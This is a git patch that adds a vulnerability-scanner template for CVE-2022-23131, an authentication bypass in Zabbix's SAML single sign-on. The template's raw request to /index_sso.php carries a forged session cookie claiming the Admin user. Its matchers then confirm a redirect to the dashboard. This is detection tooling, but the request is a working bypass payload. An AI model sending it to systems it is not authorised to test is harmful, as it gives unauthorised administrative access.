From 56713b8175ebde553286f22c3b77e098f1fd7c2e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=9E=97=E5=AF=92?=
 <57119052+For3stCo1d@users.noreply.github.com>
Date: Sun, 20 Feb 2022 20:37:19 +0800
Subject: [PATCH] Create CVE-2022-23131.yaml

---
 cves/2022/CVE-2022-23131.yaml | 33 +++++++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)
 create mode 100644 cves/2022/CVE-2022-23131.yaml

diff --git a/cves/2022/CVE-2022-23131.yaml b/cves/2022/CVE-2022-23131.yaml
new file mode 100644
index 0000000000..a5b9c0d05e
--- /dev/null
+++ b/cves/2022/CVE-2022-23131.yaml
@@ -0,0 +1,33 @@
+id: CVE-2022-23131
+
+info:
+  name: Zabbix Saml Bypass
+  author: For3stCo1d
+  severity: high
+  description: In the case of instances where the SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor, because a user login stored in the session was not verified.
+  reference:
+    - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
+    - https://github.com/Mr-xn/cve-2022-23131
+  tags: cve,cve2022,zabbix
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
+    cvss-score: 9.8
+    cve-id: CVE-2022-23131
+
+requests:
+  - raw:
+    - |
+      GET /index_sso.php HTTP/1.1
+      Host: {{Hostname}}
+      Cookie: zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9
+
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 302
+      - type: word
+        words:
+          - 'Location: zabbix.php?action=dashboard.view'
+        part: header